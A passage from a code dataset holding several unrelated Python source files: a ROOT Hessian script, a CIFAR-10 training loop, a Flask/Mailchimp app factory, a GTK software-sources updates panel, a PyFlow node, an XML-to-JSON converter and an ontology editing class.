for assignment :(\ndef rooAssign(target, other):\n if target == other:\n return\n for el in target:\n theirs = other.find(el)\n if not theirs:\n continue\n el.setVal(theirs.getVal())\n el.setError(theirs.getError())\n el.setAsymError(theirs.getErrorLo(), theirs.getErrorHi())\n el.setAttribute(\"Constant\", theirs.isConstant())\n\n\ndef finitediff(f, x, y, dx, dy):\n x0 = x.getVal()\n y0 = y.getVal()\n\n # stencil\n def s(i, j):\n x.setVal(x0 + i*dx)\n y.setVal(y0 + j*dy)\n return f.getVal()\n\n out = 0.\n if x is y:\n # https://en.wikipedia.org/wiki/Five-point_stencil\n out += -s(2,2) + 16*s(1,1) - 30*s(0,0) + 16*s(-1,-1) - s(-2,-2)\n out /= 12*dx*dy\n else:\n # Following http://www.holoborodko.com/pavel/2014/11/04/computing-mixed-derivatives-by-finite-differences/\n out += 8*( s(1,-2) + s(2,-1) + s(-2,1) + s(-1,2) )\n out -= 8*( s(-1,-2) + s(-2,-1) + s(1,2) + s(2,1) )\n out -= ( s(2,-2) + s(-2,2) - s(-2,-2) - s(2,2) )\n out += 64*( s(-1,-1) + s(1,1) - s(1,-1) - s(-1,1) )\n out /= 144*dx*dy\n\n x.setVal(x0)\n y.setVal(y0)\n return out\n\n\ndef compute_hessian(args):\n fws, wsname = args.workspace.split(':')\n fin = ROOT.TFile.Open(fws)\n w = fin.Get(wsname)\n\n ffit, fitname = args.fit.split(':')\n fin2 = ROOT.TFile.Open(ffit)\n fit = fin2.Get(fitname)\n\n model = w.obj(args.model)\n pdf = model.GetPdf()\n nll = pdf.createNLL(w.data(\"data_obs\"), ROOT.RooLinkedList())\n params = pdf.getParameters(model.GetObservables())\n rooAssign(params, fit.constPars())\n rooAssign(params, fit.floatParsFinal())\n\n floatparams = [p for p in params if fit.floatParsFinal().find(p)]\n npar = len(floatparams)\n hess = np.zeros(shape=(npar, npar))\n for ix in range(npar):\n x = floatparams[ix]\n dx = args.scale*x.getError()\n for iy in range(ix, npar):\n y = floatparams[iy]\n dy = args.scale*y.getError()\n hess[ix, iy] = finitediff(nll, x, y, dx, dy)\n\n ilow = np.tril_indices(npar, -1)\n hess[ilow] = hess.T[ilow]\n return hess, floatparams, nll\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser(description=\"Compute hessian by hand.\")\n parser.add_argument(\"-w\", \"--workspace\", metavar=\"ROOTFILE:WORKSPACE\", help=\"Workspace to load\", required=True)\n parser.add_argument(\"-f\", \"--fit\", metavar=\"ROOTFILE:FIT_NAME\", help=\"Fit result to load\", required=True)\n parser.add_argument(\"-m\", \"--model\", help=\"Model to load\", default=\"ModelConfig\")\n parser.add_argument(\"-s\", \"--scale\", help=\"Scale (multiplier of parameter error) to use for finite difference\", default=0.5, type=float)\n parser.add_argument(\"--cond\", help=\"Regularize the inversion by adding identity times this factor to the Hessian\", default=0., type=float)\n\n args = parser.parse_args()\n hess, param, nll = compute_hessian(args)\n param = np.array(param)\n param_fit_err = np.fromiter((p.getError() for p in param), dtype='d')\n\n hess += np.eye(param.size) * args.cond\n cond = np.linalg.cond(hess)\n print(\"Condition number of hessian:\", cond)\n hess_eig, hess_eigv = np.linalg.eigh(hess)\n\n normed_eigv = hess_eigv[0]\n order = np.abs(normed_eigv).argsort()[:-10:-1]\n print(\"Shallowest direction (eigenvalue %r, top 10):\" % hess_eig[0])\n for mag, par in zip(normed_eigv[order], param[order]):\n print(\" %6.3f %r\" % (mag, par.GetName()))\n\n normed_eigv = hess_eigv[-1]\n order = np.abs(normed_eigv).argsort()[:-10:-1]\n print(\"Steepest direction (eigenvalue %r, top 10):\" % hess_eig[-1])\n for mag, par in zip(normed_eigv[order], param[order]):\n print(\" %6.3f %r\" % (mag, par.GetName()))\n\n covar = np.linalg.inv(hess)\n cov_eig, cov_eigv = np.linalg.eigh(covar)\n print(\"Largest eigenvalue of covariance matrix:\", cov_eig[-1])\n print(\"Smallest eigenvalue of covariance matrix:\", cov_eig[0])\n\n std = np.sqrt(np.diag(covar))\n print(\"Largest standard deviation:\", std.max(), \"at\", param[std.argmax()])\n print(\"Smallest standard deviation:\", std.min(), \"at\", param[std.argmin()])\n\n corr = covar / std[:,None] / std[None,:]\n corr_eig, corr_eigv = np.linalg.eigh(corr)\n\n normed_eigv = corr_eigv[-1]\n order = np.abs(normed_eigv).argsort()[:-10:-1]\n print(\"Largest correlation vector (eigenvalue %r, top 10):\" % corr_eig[-1])\n for mag, par in zip(normed_eigv[order], param[order]):\n print(\" %6.3f %r\" % (mag, par.GetName()))\n\n","repo_name":"ParticleChef/jieun_mtop_decaf","sub_path":"analysis/macros/hessian.py","file_name":"hessian.py","file_ext":"py","file_size_in_byte":4968,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"9997168403","text":"from project1_model import project1_model\nimport numpy as np\nimport torch\nimport torch.nn as nn\nimport torch.optim as optim\nimport torch.nn.functional as F\nimport torchvision\nfrom torchvision import transforms\n# from torch.utils.data import SubsetRandomSampler\n# from sklearn.model_selection import train_test_split\nimport os\nimport matplotlib.pyplot as plt\n\n# -------------------------------- #\n\ntrans_train = transforms.Compose([\n # transforms.Grayscale(num_output_channels=1),\n transforms.RandomCrop(32, padding=4),\n # Flip horizontal\n transforms.RandomHorizontalFlip(),\n# transforms.GaussianBlur(kernel_size=3, sigma=(2.0, 2.0)),\n transforms.ToTensor(),\n transforms.Normalize([0.491, 0.482, 0.447], [0.247, 0.243, 0.262]),\n # transform_random,\n])\n\ntrans_test = transforms.Compose([\n transforms.ToTensor(),\n transforms.Normalize([0.491, 0.482, 0.447], [0.247, 0.243, 0.262]),\n])\n\nbatch_size = 128\nepochs = 48\ndevice = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\n\ntrainData = torchvision.datasets.CIFAR10('./cifar-10-data/',train=True,download=True, transform=trans_train)\ntrainDataLoader = torch.utils.data.DataLoader(trainData, batch_size = batch_size, shuffle = True) # , num_worker = 1\n\ntestData = torchvision.datasets.CIFAR10('./cifar-10-data/',train=False,download=True, transform=trans_test)\ntestDataLoader = torch.utils.data.DataLoader(testData, batch_size = batch_size, shuffle = True)\n\n# -------------------------------- #\n\nprint(len(trainData))\nprint(len(testData))\n# image, label = trainData[2]\n# datasize = image.shape\nlabel = 10\n# print(datasize, label)\n# labelNum = label\n\n# -------------------------------- #\n\nres18 = project1_model().to(device)\n\nprint('model structure: ', res18)\n\ndef get_lr(optimizer):\n for param_group in optimizer.param_groups:\n return param_group['lr']\n\n\n# -------------------------------- #\n\nfrom torch.autograd import Variable\nfrom torch.optim.lr_scheduler import ExponentialLR, StepLR\n\n# init optimizer\noptimizer = torch.optim.Adam(res18.parameters(), lr=1e-3) # , weight_decay=1e-4\n# optimizer = torch.optim.SGD(res18.parameters(), lr=1e-2, momentum=0.9, weight_decay=5e-4)\n\n# scheduler = ExponentialLR(optimizer, gamma=0.6)\nscheduler = StepLR(optimizer, step_size=20, gamma=0.1)\n\n# set loss function\ncriterion = nn.CrossEntropyLoss()\n\n\ndef train(model, epochs):\n # train_loss = []\n epoch_loss_i = []\n\n correct = 0\n\n for batch_idx, (data, target) in enumerate(trainDataLoader):\n # data, target = Variable(data).to(device), Variable(target).to(device) # to device\n data, target = data.to(device), target.to(device)\n train_pred = model(data)\n\n # Accuracy\n pred = train_pred.argmax(dim=1)\n correct += pred.eq(target.data.view_as(pred)).cpu().sum()\n\n # Loss\n train_loss_i = criterion(train_pred, target)\n epoch_loss_i.append(train_loss_i)\n\n # Backpropagation\n optimizer.zero_grad()\n train_loss_i.backward()\n optimizer.step()\n\n # print('Train epoch: {} | [{}/{} ({:.0f}%)]\\tLoss: {:.6f}'.format(batch_idx, batch_idx * len(data), len(trainDataLoader), 100. * batch_idx/len(trainDataLoader), epoch_loss))\n epoch_loss = sum(epoch_loss_i) / len(epoch_loss_i)\n # trainAcc = correct / len(epoch_loss_i)\n trainAcc = correct / (len(trainDataLoader.dataset))\n # print('Train epoch: {} | [{}/{} ({:.0f}%)]\\tLoss: {:.6f}'.format(epochs, batch_idx * len(data), len(trainDataLoader), 100. * batch_idx/len(trainDataLoader), epoch_loss))\n\n # get learing rate\n print(get_lr(optimizer))\n\n return epoch_loss, trainAcc\n\n\n# print('Train epoch: {} | [{}/{} ({:.0f}%)]\\tLoss: {:.6f}'.format(i, batch_idx * len(data), len(trainDataLoader), 100. * batch_idx/len(trainDataLoader), epoch_loss))\n\n\ndef test(model):\n # model.eval()\n # test_loss = []\n # for i in epochs:\n test_loss_i = []\n correct = 0\n testAcc = 0\n total = 0\n\n for data, target in testDataLoader:\n data, target = data.to(device), target.to(device) # (rm , volatile=True) .to(device)\n test_pred = model(data)\n test_loss_i.append(criterion(test_pred, target))\n\n pred = test_pred.argmax(dim=1)\n correct += pred.eq(target.data.view_as(pred)).cpu().sum()\n\n total += target.size(0)\n\n # test_loss_i = test_loss_i / len(testDataLoader.dataset) # len(testDataLoader.dataset)\n test_loss = sum(test_loss_i) / len(test_loss_i)\n testAcc = correct / total # len(testDataLoader.dataset)\n\n print('Test set: Average Loss: {:.4f}, Accuracy: {}/{} ({:.0f}%)'.format(test_loss, correct,\n len(testDataLoader.dataset),\n 100. * correct / len(\n testDataLoader.dataset)))\n\n return test_loss, testAcc\n\n\n# -------------------------------- #\n\ndef save(net, path):\n \"\"\"\n save parameters into files after training\n :param: net model, model save path\n :return: None\n \"\"\"\n stats = {\n # 'epoch': epoch,\n 'model': net.state_dict()\n }\n if not os.path.exists(path):\n os.mkdir(path)\n\n savePath = os.path.join(path, 'res18') ##### model_res18 / model_CNN / model_wasteCNN\n torch.save(stats, savePath)\n print(\"Final model checkpoints in {}\".format(savePath))\n\n# -------------------------------- #\n\nimport datetime\n\ntrain_loss = []\ntest_loss = []\ntrain_acc = []\ntest_acc = []\n\nfor epoch in range(epochs):\n starttime = datetime.datetime.now()\n trainLoss, trainAcc = train(res18, epoch)\n train_loss.append(trainLoss)\n train_acc.append(trainAcc)\n\n traintime = datetime.datetime.now()\n\n # if epoch % 5 == 0:\n scheduler.step()\n\n scheduletime = datetime.datetime.now()\n print('Train set: Epoch: {} Loss: {:.6f} Accuracy: {:.2f}'.format(epoch, trainLoss, trainAcc))\n\n with torch.no_grad():\n testLoss, testAcc = test(res18) # .detach()\n test_loss.append(testLoss)\n test_acc.append(testAcc)\n print('Test set: Epoch: {} Loss: {:.6f} Accuracy: {:.2f}'.format(epoch, testLoss, testAcc))\n endtime = datetime.datetime.now()\n print(\"train time:\", traintime - starttime, \"test time:\", endtime - scheduletime, \"total time:\",\n endtime - starttime, \"\\n\")\n\nsave(res18, './project1_model')\n\n# -------------------------------- #\n\n# print(len(train_loss), len(test_loss))\nx_axis = np.arange(epochs) # epochs\nplt.plot(x_axis, train_loss, label='train loss')\nplt.plot(x_axis, test_loss, label='test loss')\nplt.legend()\nplt.savefig('loss_pic.png')\nplt.show()\n\n# -------------------------------- #\n\nx_axis = np.arange(epochs)\n# train_acc_array = [x/50000 for x in train_acc]\n# plt.plot(x_axis, train_acc_array, label='train accuracy')\nplt.plot(x_axis, train_acc, label='train accuracy')\nplt.plot(x_axis, test_acc, label='test accuracy')\nplt.legend()\nplt.savefig('accuracy_pic.png')\nplt.show()\nprint(max(test_acc), test_acc.index(max(test_acc)))\n\n# -------------------------------- #\n\ndef count_parameters(model):\n return sum(p.numel() for p in model.parameters() if p.requires_grad)\n # torch.numel() returns number of elements in a tensor\n\nprint(count_parameters(res18)/1000000, \"M\")\n\n","repo_name":"Guojiacheng2017/Mini_Project_DL","sub_path":"Mini_Project_1/mini_project_1.py","file_name":"mini_project_1.py","file_ext":"py","file_size_in_byte":7404,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"8436010756","text":"import os\nfrom .mailchimp import mc\nfrom flask import Flask\nfrom .routes import bp\nfrom urllib.parse import unquote\nfrom dotenv import load_dotenv\nload_dotenv()\n\n\n# manually decode from '%9Z' to '%0A'\n# (since IIS servers will error out when it sees '%0A's)\ndef decode(text):\n if text:\n return unquote(text.replace('', '%0A'))\n else:\n return ''\n\n\ndef create_app(\n package_name=__name__,\n static_folder='static',\n template_folder='templates',\n **config_overrides):\n\n # initialize app\n app = Flask(package_name,\n static_url_path='/assets',\n static_folder=static_folder,\n template_folder=template_folder)\n\n # set mailchimp settings\n mc_user = os.getenv('MAILCHIMP_USERNAME')\n mc_key = os.getenv('MAILCHIMP_KEY')\n mc_list_id = os.getenv('MAILCHIMP_LIST_ID')\n\n # load mailchimp credentials\n mc.set_credentials(mc_user, mc_key)\n mc.set_list_id(mc_list_id)\n\n # custom decoder for '%0A' and '%0U' as these\n # characters are not supported in iis servers\n app.jinja_env.globals.update(decode=decode)\n\n # Apply overrides\n app.config.update(config_overrides)\n\n # Register Routes in routes.py\n app.register_blueprint(bp)\n\n return app\n\n","repo_name":"organizejs/brandnewroman","sub_path":"app/brandnewroman/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1213,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"9807813923","text":"from unittest import mock\nfrom discord_ritoman.lol.stats.team import TeamStat\nimport discord_ritoman.lol.stats.team\n\n\ndef team_stat(team_id: int = 100, participant_id: int = 1):\n def decorator(func):\n @mock.patch.object(discord_ritoman.lol.stats.team, \"get_stat\")\n def wrapper(mock_get_stat):\n stat_table = {\n \"participant_ids\": {\n \"A1\": participant_id,\n \"user\": participant_id,\n }\n }\n\n mock_get_stat.side_effect = lambda x: stat_table[x]\n\n data = {\n \"participants\": [\n {\"participantId\": participant_id, \"teamId\": team_id}\n ]\n }\n response = TeamStat.obj.process(data, {}, \"A1\")\n func(response)\n\n return wrapper\n\n return decorator\n\n\n@team_stat()\ndef test_team_stat(response):\n \"\"\"\"\"\"\n assert response == 100\n","repo_name":"stephend017/discord_ritoman","sub_path":"tests/test_stats/test_team_stat.py","file_name":"test_team_stat.py","file_ext":"py","file_size_in_byte":934,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"18002724161","text":"import logging\nimport gi\ngi.require_version('Gtk', '3.0')\nfrom gi.repository import Gtk, Gio\nfrom gettext import gettext as _\n\nfrom . import repo\n\nclass Updates(Gtk.Box):\n\n distro_codename = repo.get_os_codename()\n os_name = repo.get_os_name()\n repo_descriptions = {\n f'{distro_codename}-security': _('Important security updates'),\n f'{distro_codename}-updates': _('Recommended updates'),\n f'{distro_codename}-backports': _('Unsupported updates')\n }\n\n def __init__(self, parent):\n Gtk.Box.__init__(self, False, 0)\n\n self.log = logging.getLogger(\"repoman.Updates\")\n self.log.debug('Logging established')\n\n self.parent = parent\n self.system_repo = parent.system_repo\n self.handlers = {}\n\n updates_grid = Gtk.Grid()\n updates_grid.set_margin_left(12)\n updates_grid.set_margin_top(24)\n updates_grid.set_margin_right(12)\n updates_grid.set_margin_bottom(12)\n updates_grid.set_hexpand(True)\n updates_grid.set_halign(Gtk.Align.CENTER)\n self.add(updates_grid)\n\n updates_title = Gtk.Label(_(\"Update Sources\"))\n updates_title.set_halign(Gtk.Align.START)\n Gtk.StyleContext.add_class(updates_title.get_style_context(), \"h2\")\n updates_grid.attach(updates_title, 0, 0, 1, 1)\n\n updates_label = Gtk.Label(_(\"These sources control how %s checks for updates. It is recommended to leave these sources enabled.\") % self.os_name)\n updates_label.set_line_wrap(True)\n updates_label.set_justify(Gtk.Justification.FILL)\n updates_label.set_halign(Gtk.Align.START)\n Gtk.StyleContext.add_class(updates_label.get_style_context(), \"description\")\n updates_grid.attach(updates_label, 0, 1, 1, 1)\n\n self.checks_grid = Gtk.VBox()\n self.checks_grid.set_margin_left(12)\n self.checks_grid.set_margin_top(24)\n self.checks_grid.set_margin_right(12)\n self.checks_grid.set_margin_bottom(12)\n self.checks_grid.set_spacing(12)\n updates_grid.attach(self.checks_grid, 0, 2, 1, 1)\n self.checks_grid.show()\n\n self.create_switches()\n self.set_suites_enabled(self.parent.setting.checks_enabled)\n if self.system_repo:\n self.show_updates()\n \n # Watch the config directory for changes, so we can reload if so\n self.file = Gio.File.new_for_path('/etc/apt/sources.list.d/')\n self.monitor = self.file.monitor_directory(Gio.FileMonitorFlags.NONE)\n self.monitor.connect('changed', self.on_config_changed)\n self.log.debug('Monitor Created: %s', self.monitor)\n self.show_all()\n\n def block_handlers(self):\n for widget in self.handlers:\n if widget.handler_is_connected(self.handlers[widget]):\n widget.handler_block(self.handlers[widget])\n\n def unblock_handlers(self):\n for widget in self.handlers:\n if widget.handler_is_connected(self.handlers[widget]):\n widget.handler_unblock(self.handlers[widget])\n\n def get_new_switch(self, suite, description=None):\n \"\"\" Creates a Box with a new switch and a description.\n\n If the name of the suite matches one of the normal default\n suites, include the description of the suite. Otherwise use the\n supplied description (if given) or the name of the suite.\n\n Arguments:\n suite (str): The name of a distro suite to bind to the switch\n description (str): An optional description to use if the suite\n isn't of the predefinied normal sources.\n\n Returns:\n A Gtk.Box with the added switch and label description\n \"\"\"\n\n switch = Gtk.Box.new(Gtk.Orientation.HORIZONTAL, 6)\n switch.set_hexpand(True)\n if suite in self.repo_descriptions:\n description = self.repo_descriptions[suite]\n\n label_text = suite\n if description:\n label_text = f'{description} ({suite})'\n label = Gtk.Label.new(label_text)\n label.set_halign(Gtk.Align.START)\n switch.label = label\n switch.add(label)\n toggle = Gtk.Switch()\n toggle.set_halign(Gtk.Align.END)\n toggle.set_hexpand(True)\n toggle.suite = switch.suite = suite\n switch.toggle = toggle\n switch.add(toggle)\n\n return switch\n\n def create_switches(self):\n \"\"\" Create switches for all of the suites which can be toggled. \"\"\"\n for switch in self.checks_grid.get_children():\n self.checks_grid.remove(switch)\n\n for repo in self.repo_descriptions:\n switch = self.get_new_switch(repo)\n\n self.handlers[switch.toggle] = switch.toggle.connect(\n 'state-set',\n self.on_suite_toggled\n )\n self.checks_grid.add(switch)\n switch.show_all()\n \n if self.system_repo:\n for suite in self.system_repo.suites:\n if suite in self.repo_descriptions:\n continue\n if 'proposed' in suite:\n # This is handled on the settings page.\n continue\n if self.distro_codename == suite:\n # Skip the standard distro suite.\n continue\n switch = self.get_new_switch(suite)\n self.handlers[switch.toggle] = switch.toggle.connect(\n 'state-set',\n self.on_suite_toggled\n )\n self.checks_grid.add(switch)\n switch.show_all()\n\n def show_updates(self):\n \"\"\" Initialize the state of all of the switches. \"\"\"\n self.log.debug(\"init_distro\")\n self.create_switches()\n self.block_handlers()\n \n for suite in self.checks_grid.get_children():\n if suite.suite in self.system_repo.suites:\n suite.toggle.set_active(True)\n else:\n suite.toggle.set_active(False)\n \n self.unblock_handlers()\n\n def set_suites_enabled(self, enabled):\n for suite in self.checks_grid.get_children():\n suite.set_sensitive(enabled)\n\n def on_suite_toggled(self, switch, state):\n \"\"\" state-set handler for suite switches. \"\"\"\n suites = self.system_repo.suites\n if state:\n if switch.suite not in suites:\n suites.append(switch.suite)\n else:\n if switch.suite in suites:\n suites.remove(switch.suite)\n self.system_repo.suites = suites\n try:\n self.system_repo.file.save()\n except Exception as err:\n self.log.error(\n 'Could not set suite: %s', str(err)\n )\n err_dialog = repo.get_error_messagedialog(\n self.parent.parent,\n f'Could not set suite',\n err,\n 'The system suite could not be changed'\n )\n err_dialog.run()\n err_dialog.destroy()\n\n def on_config_changed(self, monitor, file, other_file, event_type):\n self.log.debug('Installation changed, regenerating list')\n if self.system_repo:\n self.show_updates()\n self.set_suites_enabled(self.parent.setting.checks_enabled)\n","repo_name":"PikaOS-Linux/pkgs-baseos","sub_path":"repoman/archive/repoman/updates.py","file_name":"updates.py","file_ext":"py","file_size_in_byte":7336,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"52"} +{"seq_id":"13208745856","text":"from Qt import QtGui\nfrom PyFlow.UI import RESOURCES_DIR\nfrom PyFlow.UI.Canvas.UINodeBase import UINodeBase\nfrom Qt.QtWidgets import QLabel\n\n\nclass UIImageDisplayNode(UINodeBase):\n def __init__(self, raw_node):\n super(UIImageDisplayNode, self).__init__(raw_node)\n self.resizable = True\n self.Imagelabel = QLabel(\"test3\")\n self.pixmap = QtGui.QPixmap(RESOURCES_DIR + \"/wizard-cat.png\")\n self.addWidget(self.Imagelabel)\n self.updateSize()\n self._rawNode.loadImage.connect(self.onLoadImage)\n\n def onLoadImage(self, imagePath):\n self.pixmap = QtGui.QPixmap(imagePath)\n self.updateSize()\n\n def paint(self, painter, option, widget):\n self.updateSize()\n super(UIImageDisplayNode, self).paint(painter, option, widget)\n\n def updateSize(self):\n scaledPixmap = self.pixmap.scaledToWidth(\n self.customLayout.geometry().width())\n self.Imagelabel.setPixmap(scaledPixmap)\n","repo_name":"wonderworks-software/PyFlow","sub_path":"PyFlow/Packages/PyFlowBase/UI/UIImageDisplayNode.py","file_name":"UIImageDisplayNode.py","file_ext":"py","file_size_in_byte":971,"program_lang":"python","lang":"en","doc_type":"code","stars":2099,"dataset":"github-code","pt":"52"} +{"seq_id":"37206623216","text":"import json\nimport optparse\nimport sys\nimport os\nfrom collections import OrderedDict\n\nimport xml.etree.cElementTree as ET\n\ndef strip_tag(tag):\n strip_ns_tag = tag\n split_array = tag.split('}')\n if len(split_array) > 1:\n strip_ns_tag = split_array[1]\n tag = strip_ns_tag\n return tag\n\n\ndef elem_to_internal(elem, strip_ns=1, strip=1):\n \"\"\"Convert an Element into an internal dictionary (not JSON!).\"\"\"\n\n d = OrderedDict()\n elem_tag = elem.tag\n if strip_ns:\n elem_tag = strip_tag(elem.tag)\n for key, value in list(elem.attrib.items()):\n d['@' + key] = value\n\n # loop over subelements to merge them\n for subelem in elem:\n v = elem_to_internal(subelem, strip_ns=strip_ns, strip=strip)\n\n tag = subelem.tag\n if strip_ns:\n tag = strip_tag(subelem.tag)\n\n value = v[tag]\n\n try:\n # add to existing list for this tag\n d[tag].append(value)\n except AttributeError:\n # turn existing entry into a list\n d[tag] = [d[tag], value]\n except KeyError:\n # add a new non-list entry\n d[tag] = value\n text = elem.text\n tail = elem.tail\n if strip:\n # ignore leading and trailing whitespace\n if text:\n text = text.strip()\n if tail:\n tail = tail.strip()\n\n if tail:\n d['#tail'] = tail\n\n if d:\n # use #text element if other attributes exist\n if text:\n d[\"#text\"] = text\n else:\n # text is the value if no attributes\n d = text or None\n return {elem_tag: d}\n \n\ndef elem2json(elem, options, strip_ns=1, strip=1):\n\n \"\"\"Convert an ElementTree or Element into a JSON string.\"\"\"\n\n if hasattr(elem, 'getroot'):\n elem = elem.getroot()\n \"\"\"\n if options.pretty:\n return json.dumps(elem_to_internal(elem, strip_ns=strip_ns, strip=strip), indent=4, separators=(',', ': '))\n else:\n return json.dumps(elem_to_internal(elem, strip_ns=strip_ns, strip=strip))\n \"\"\"\n return json.dumps(elem_to_internal(elem, strip_ns=strip_ns, strip=strip)) \n\ndef xml2json(xmlstring, options, strip_ns=1, strip=1):\n\n \"\"\"Convert an XML string into a JSON string.\"\"\"\n\n elem = ET.fromstring(xmlstring)\n return elem2json(elem, options, strip_ns=strip_ns, strip=strip)","repo_name":"iconmix/skins-addons","sub_path":"script.iconmixtools/resources/lib/xml2json.py","file_name":"xml2json.py","file_ext":"py","file_size_in_byte":2349,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"26343946099","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# SPDX-License-Identifier: MIT\n\n\"\"\" Contains Edit Class to edit things in the store.\nStore is equivalent to owlready2 World \"\"\"\n\n# general imports\nfrom logging import Logger\nimport owlready2\nfrom typing import Union\n# causalgraph imports\nimport causalgraph.utils.owlready2_utils as owlutils\nfrom causalgraph.utils.misc_utils import strict_types\nfrom causalgraph.utils.logging_utils import init_logger\n\n\nclass Edit():\n \"\"\" Contains all methods to edit resources in the store\"\"\"\n def __init__(self, store: owlready2.World, logger: Logger = None, validate_domain_range: bool = True) -> None:\n self.store = store\n self.validate_domain_range = validate_domain_range\n if logger is not None:\n self.logger = logger\n else:\n self.logger = init_logger(\"Edit\")\n self.logger.info(\"Initialized the 'edit' functionalities.\")\n\n\n @strict_types\n def rename_individual(self, old_name_obj: Union[str, owlready2.Thing], new_name: str) -> bool:\n \"\"\"This method changes the name of an individual. To change it, pass the old name or the\n the individual it self as well as the new desired name. The return value is True if the\n change was successful, False if not.\n\n :param old_name_obj: The object of the individual to be changed or its name as str.\n :type old_name_obj: Union[str, owlready2.Thing],\n :param new_name: Desired new name of the individual\n :type new_name: str\n :return: True if renaming was successful, False if not.\n :rtype: bool\n \"\"\"\n indi_old_name_name, ind_old_name_obj = owlutils.get_name_and_object(old_name_obj, self.store)\n\n # If a Thing was passed, then check if it (still) exists\n if ind_old_name_obj is None:\n self.logger.warning(f\"Name change not successful because the individual '{indi_old_name_name}'\" +\n \" does not exist.\")\n return False \n # Check if new_name is already taken\n indi_new_name_obj = owlutils.get_entity_by_name(new_name, self.store, suppress_warn=True)\n if indi_new_name_obj is not None:\n self.logger.warning(f\"Name change not successful because the new name '{new_name}'\" +\n \" is already taken.\")\n return False\n # Renaming individuals and check success\n ind_old_name_obj.name = new_name\n # Success check not absolutely necessary, but in there for safety's sake.\n ind_old_name_obj = owlutils.get_entity_by_name(indi_old_name_name, self.store, suppress_warn=True)\n indi_new_name_obj = owlutils.get_entity_by_name(new_name, self.store, suppress_warn=True)\n self.store.save()\n if ind_old_name_obj is None and indi_new_name_obj is not None:\n self.logger.info(f\"Renaming individual '{indi_old_name_name}' to '{new_name}' has been successful.\")\n return True\n self.logger.warning(f\"Something went wrong while renaming '{indi_old_name_name}' to '{new_name}'\" +\n \" although the required name is not taken.\")\n return False\n\n\n @strict_types\n def type_to_subtype(self, entity: Union[str, owlready2.Thing], new_type: Union[str, owlready2.EntityClass]) -> bool:\n \"\"\"This method changes the type of an individual. Only subtypes are allowed as new types.\n To change the type, pass the name of the individual and the new desired (sub)type.\n The return value is True if the type change was successful, False if not or the new\n type is the same as the current one.\n\n :param entity: The individual object to be changed or its name.\n :type entity: Union[str, owlready2.Thing]\n :param new_type: The name of the new (sub)type or the owlready EntityClass object.\n :type new_type: Union[str, owlready2.EntityClass]\n :return: True if type change was successful, False if not or type didn't change\n :rtype: bool\n \"\"\"\n individual_name, individual_obj = owlutils.get_name_and_object(entity, self.store)\n # Exit func if individual does not exist\n if individual_obj is None:\n self.logger.error(f\"Changing subtype failed. Entity '{individual_name}' does not exist.\")\n return False\n # Initiate empty lists for collecting types that should (not) be changed\n types_to_keep = []\n types_to_update = []\n\n # Get new subtype object and check if it exists\n new_subtype_name, new_subtype_obj = owlutils.get_name_and_object(new_type, self.store)\n if new_subtype_obj == None:\n self.logger.warning(f'Changing subtype failed. New subtype {new_type} does not ' +\n 'exist in the Ontology.')\n return False\n # Check if subtype is valid for passed individual\n for current_type in individual_obj.is_a:\n current_type_subtypes = owlutils.get_subclasses(current_type, self.store)\n # If new type is a valid subtype of the old type: substitute old type, else: keep type\n if [new_subtype_obj] in current_type_subtypes:\n types_to_update.append(current_type)\n else:\n types_to_keep.append(current_type)\n # The list \"types_to_update\" will be empty if there is currently no type that is related to\n # \"new_type\" and therefore also not allowed to be specialized in the subtype \"new_type\"\n if types_to_update == []:\n self.logger.warning(f\"None of the current types of '{individual_name}' is allowed to be\" +\n f\"changed to the subtype {new_subtype_name}\")\n return False\n # Generate list of new types from types_to_keep and new_subtype_obj\n new_types = types_to_keep\n new_types.append(new_subtype_obj)\n # Swap current types of individual with new ones\n individual_obj.is_a = new_types\n self.store.save()\n types_to_update_names = [i.name for i in types_to_update]\n self.logger.info(f'Changing type(s) { {*types_to_update_names} } to {new_subtype_name} successful.')\n return True\n\n\n @strict_types\n def properties(self, entity: Union[str, owlready2.Thing], prop_dict: dict) -> bool:\n \"\"\"Updates the properties of an individual with the properties\n and values given in the dictionary.\n\n :param entity: The individual object to be changed or its name.\n :type entity: Union[str, owlready2.Thing]\n :param prop_dict: Dictionary containing properties and their new values\n :type prop_dict: dict\n :return: True if update successful, else False\n :rtype: bool\n \"\"\"\n individual_name, _ = owlutils.get_name_and_object(entity, self.store)\n update_prop_result = owlutils.update_properties_of_individual(individual=individual_name,\n logger=self.logger,\n store=self.store,\n prop_dict=prop_dict,\n validate_domain_range=self.validate_domain_range)\n return update_prop_result\n\n\n @strict_types\n def property(self, entity: Union[str, owlready2.Thing], property: Union[str, owlready2.PropertyClass], value) -> bool:\n \"\"\"Updates one property of an individual\n\n :param entity: The individual object to be changed or its name.\n :type entity: Union[str, owlready2.Thing]\n :param property: The property name or the owlready PropertyClass object.\n :type property: Union[str, owlready2.PropertyClass]\n :param value: New value of the property\n :type value: _type_\n :return: True if update successful, else False\n :rtype: bool\n \"\"\"\n individual_name, _ = owlutils.get_name_and_object(entity, self.store)\n property_name, _ = owlutils.get_name_and_object(property, self.store)\n prop_dict = {property_name: value}\n return self.properties(individual_name, prop_dict)\n\n\n @strict_types\n def delete_property(self, entity: Union[str, owlready2.Thing], property: Union[str, owlready2.PropertyClass]) -> bool:\n \"\"\"Deletes a property from an individual\n\n :param entity: The individual object to be changed or its name.\n :type entity: Union[str, owlready2.Thing]\n :param property_name: Property to be deleted, passed as name string or the owlready PropertyClass object.\n :type property_name: Union[str, owlready2.PropertyClass]\n :return: True if deletion successful, else False\n :rtype: bool\n \"\"\"\n individual_name, _ = owlutils.get_name_and_object(entity, self.store)\n property_name, _ = owlutils.get_name_and_object(property, self.store)\n prop_dict = {property_name: None}\n return self.properties(individual_name, prop_dict)\n\n\n @strict_types\n def description(self, entity: Union[str, owlready2.Thing], new_comment: list) -> bool:\n \"\"\"Sets/changes the description (comment) of an individual\n\n 